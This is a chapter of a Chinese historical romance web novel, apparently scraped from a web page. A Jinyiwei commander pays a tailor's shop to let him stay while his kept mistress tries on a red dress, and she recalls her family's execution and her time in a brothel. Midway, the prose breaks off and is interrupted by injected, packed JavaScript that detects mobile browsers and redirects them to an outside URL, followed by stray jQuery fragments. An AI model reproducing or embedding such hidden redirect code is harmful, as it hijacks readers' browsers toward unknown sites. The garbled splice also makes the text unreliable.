雅衣阁内,里间,女客试衣处,一扇墨色山水屏风下。
“爷,可以让皎皎一个人去屏风里侧试衣服吗?”
苏皎皎一身素衣白裙,头戴帷帽,她怀中抱着一身石榴色的襦裙,眼看靳星渊还不走,她怯生生地问道。
苏皎皎心中郁闷。
她尤记得,芙蓉楼失火的那一夜,她就是当着靳星渊的面,脱下一身风尘味十足的矮胸血红罗裙,洗干净脸上粉黛,卸下满头珠翠钗环,换上一身青灰色小厮的衣裳,衣袖遮脸尾随在他身后,同他一起大摇大摆地出了芙蓉楼的门,她被他拥在怀中,一同纵马走出地狱,走向新生。
如今,在女客试衣的里间,靳星渊似乎是再度不肯离开。
方才雅衣阁的李掌柜都劝阻过,说女客的试衣间,还请男客务要入内,免得损坏女子的清白名誉。
靳星渊金口玉言,只简短回了李掌柜六个字:“她是爷的外室。”
苏皎皎听靳星渊说这话的时候,她帷帽遮掩下的一张小脸都因这话而觉得羞赧,雪色面颊些许发烫。
她咬着朱唇软肉,心道,这靳星渊也真是的,养外室难道是什么值得自豪的事情吗?居然大大方方地同李掌柜说了。
李掌柜心道,面前这男子看起来剑眉星目,浩然正气,一身锦衣卫的绯色飞鱼服,估计是个锦衣卫的高官,可没想到,居然养外室,真是人不可貌相啊。
李掌柜面上不喜,却也道:“小店也许会有其他女客光顾,有的女客需要入里间试衣服,还请客人在外等待为好。”
苏皎皎一听这话,心中一边觉得有几分感激,一边又觉得,这雅衣阁的掌柜,真是胆肥,居然敢阻拦靳星渊的路,真的是勇气可嘉啊。
这要是日常锦衣卫查案办公,有人胆敢拦下靳指挥使的路,他必定会用腰间的那柄绣春刀吓唬吓唬,若是涉案的是不重要人员,更是直接斩杀人头。
可今日又不是办什么大案要案,靳指挥使是来陪他的娇娇儿逛街散心的。
他心情好,便没有采用绣春刀吓唬一策,反而是掏出怀中一张价值百两的银票,拍在桌子上,道:“包下你这成衣铺两个时辰的时间,够了么?”
“够够够。”
李掌柜拿走桌上的银票,脸上立马堆满了讨好意味十足的笑容来,他改口道:“二位客人里面请,本店今日上午拒不迎客,只招待您二位客人。”
于是,靳指挥使,顺顺利利地同他的外室苏皎皎,一同进入了女子试衣处的门。
靳星渊其实并没有视.奸的爱好,可他一回想起芙蓉楼失火那晚,他的娇娇儿一脸羞涩中带着屈辱意味,却乖乖的当着他的面脱衣解带,换上小厮衣服的时候,他觉得很是有趣。
因而,靳星渊此刻就是玩心大起,想要逗逗眼前的苏皎皎,羞羞她。
靳星渊半天未曾开口回答苏皎皎的问话,他眸光意味不明地笑笑,直到怀中捧着一套石榴色襦裙的苏皎皎都已经在心底认命了,红着脸,决心直接开始当着他的面,开始换衣服。
就在苏皎皎准备解开腰间的白裙束带的时候,靳星渊却是突然开口,金口玉言的一个字:“可。”
听到简短的一个“可”字,苏皎皎先是按在腰侧束带的素手顿住,她神色有点茫然,而后才回想起方才她问他的话,于是心中了然,原本一颗惴惴不安的心放松了下来,她生怕对方改口似的,赶紧抱着手中的一身石榴红裙,走入那扇墨色山水屏风的里侧。
然后,苏皎皎脱下头上戴着的帷帽,又开始宽衣解带,换上一身崭新的石榴色长袖对襟襦裙。
苏皎皎一边穿衣服,一边心中觉得这身襦裙倒是很合身,可以说是太合身了些,仿佛是为她量身定制一般。
裙子主色是大片的石榴红,还有恰到好处的白,白色处有石榴花的精致刺绣,红线勾勒而成,款式新颖,穿在她身上,看起来十分的得体。
苏皎皎穿好衣服后,在原地转了一圈,裙摆转成一个圆,她身形轻盈,整个人好似枝头一朵石榴花的花苞怒放。
待苏皎皎穿好新衣服,又自我欣赏了一番后,她从那扇墨色山水屏风当中走出来,双手牵起裙摆一角,走近靳星渊的身侧。
苏皎皎迈步走到靳星渊的眼前,她双手提起红裙两侧裙摆,玲珑身段转了一圈,然后垂下眸子,黑长羽睫翩跹,红唇翘起道:“爷,皎皎好看吗?”
“好看,你最好看。”靳星渊低沉喑哑的嗓音道。
听到“好看”二字,苏皎皎原本想再问,是她更好看,还是石榴裙更好看,可问询的话语尚未说出口,对方便已经提前一步解答了。
大约是一个妙龄女子的小小虚荣心得到了满足,苏皎皎勾着红唇甜甜一笑,嗓音娇软道:“皎皎谢谢爷的夸奖。”
靳星渊细细端详了面前的美人一眼,又添一句道:“爷觉得这一身很适合你,明艳娇俏,衬得你雪肌更白,你自己去镜子面前看看吧。”
“还有什么看的中的布料,你待会儿也在铺子内挑一挑,爷让掌柜的量体裁衣,做好之后,再派府上婢女来这取,取了便送往甜水巷。”
靳星渊的薄唇上下浮动,低沉冷冽的声线尽量温声说道。
苏皎皎闻言,便乖乖地听靳星渊的话,她朝着试衣间内墙边摆放着的一面人身长的铜镜迈步,走了十步不到,然后立在铜镜前,勾起红唇浅浅一笑,细细观察着铜镜中的自己。
铜镜中的苏皎皎,她的三千如瀑青丝挽起一半缠束成发髻,虽然是素面朝天,却也是蛾眉曼睩,目腾光些,一身上京贵女们近来时兴穿的石榴裙款式,实在是艷丽至极。
乍一看,除了衣裳颜色过分艳丽了些,倒是有几分曾经侯门嫡女的风采。
苏皎皎在她的亲生父亲温明寒曾活在世上,她还是镇远侯府嫡女的时候,她可是上京第一的美人兼名门贵女,当时大约觉得自己年纪尚小,因此她喜欢一些颜色淡雅的衣服,倒是不曾穿过今日穿的石榴裙这般的艳丽衣裳。
只可惜,铜镜中的美人,美则美矣,却是白云苍狗,她再也不是从前的那个矜贵清冷,不可一世的世家贵女了。
她是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14313922|152361||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
苏皎皎,只是靳星渊的外室。
苏皎皎看了一会儿铜镜中的自己,她觉得自己其实并不太喜欢这一身石榴红的衣裙,她从前一年四季都是穿浅桃粉、浅烟紫、浅鹅黄、浅水蓝色等颜色淡雅素净一些的襦裙的。
况且,苏皎皎之前在还是温明月的时候,父亲温明寒以及哥哥温明烨,以及温氏一家老小,九族之内,但凡是男眷的,都被砍头枭首,一颗颗头颅悬挂在菜市场的城门口示众三天。
圣人虽然放过了温氏九族的女眷,可天家无情,圣人一向心硬如铁石,为了立威,便在行刑的时候,将温氏一族的女眷都带到了刑场,跪在地上,亲眼目睹男眷被杀头枭首这血腥的一幕。
她还记得当时,漫天的血色,仿佛她的视线当中,只剩下了红色,再无别的色彩了。
父亲的血,兄长的血,都流了一地。
父亲的头颅,兄长的头颅,挂在了城门口,任由人肆意指点评说。
后来她身为叛臣之女,被发配到了隶属于教坊司的芙蓉楼,芙蓉楼内的低级官妓只有款式统一的红色衣裙可供穿戴,当时她只觉得这衣裳上的颜色似血,像是父亲和兄长的血的颜色。
刚来芙蓉楼的时候,她甚至于在夜晚隔三差五地做噩梦,魇住了,挣脱不动,也醒不过来的无底深渊一般的迷梦当中,她的视线当中一片血红色,她的细脖被鬼怪的一双尖爪大手狠狠掐住,好似下一秒就会窒息而亡,同父兄一并去往黄泉碧落。
第二日破晓时分,天光初亮,她从梦中惊醒,醒来跑去问教习嬷嬷,她不喜红色,是否可以改穿别款颜色的衣裙。
答案是否。
她又问教习嬷嬷,为何芙蓉楼的花魁可以穿深紫色的衣裙?
答案是,等你当了芙蓉楼的花魁,你也可以穿。
她当时得到嬷嬷口中的答案后,哭得泪眼蒙眬,小脸通红,十分绝望。
她不想穿红色衣裳,更不想当花魁,她想逃走,逃离芙蓉楼这座纸醉金迷的樊笼。
第一次正式接客的那天,她在清晨时哭了好久,眉眼都哭得红肿了,眼皮肿成了红桃,负责替她上妆梳头的婢女特意替她化了一个稍浓的妆容来遮掩。
她本已经绝望认命了,决心沉沦在芙蓉楼内,直至死亡那一天,靳星渊这位便宜表兄却好似天神一般,闯入她的世界。
她不抱太大期望跪下去求他,结果,他愿意渡她。
如今,事过境迁,她成了苏皎皎,他的见不得光的外室。
方才,也是靳星渊相看中了这一身石榴裙,拿在他那一双常年执剑的大手中,递给了她,让她试穿。
苏皎皎当时一双眸子看着靳星渊双手递过来的一套石榴裙,她当人外室,总不太好意思拒绝主子的心意,心想着既然他喜欢这一身,她便日后时常穿给他看吧,于是身随意动,伸出一双雪白柔荑,乖乖接过他手中的那一身石榴裙。
只是,穿上后,苏皎皎对着铜镜看了半天,心道,她果然还是不喜欢这一身,红得像是血,像是开在阴间阎罗殿门口的死人花。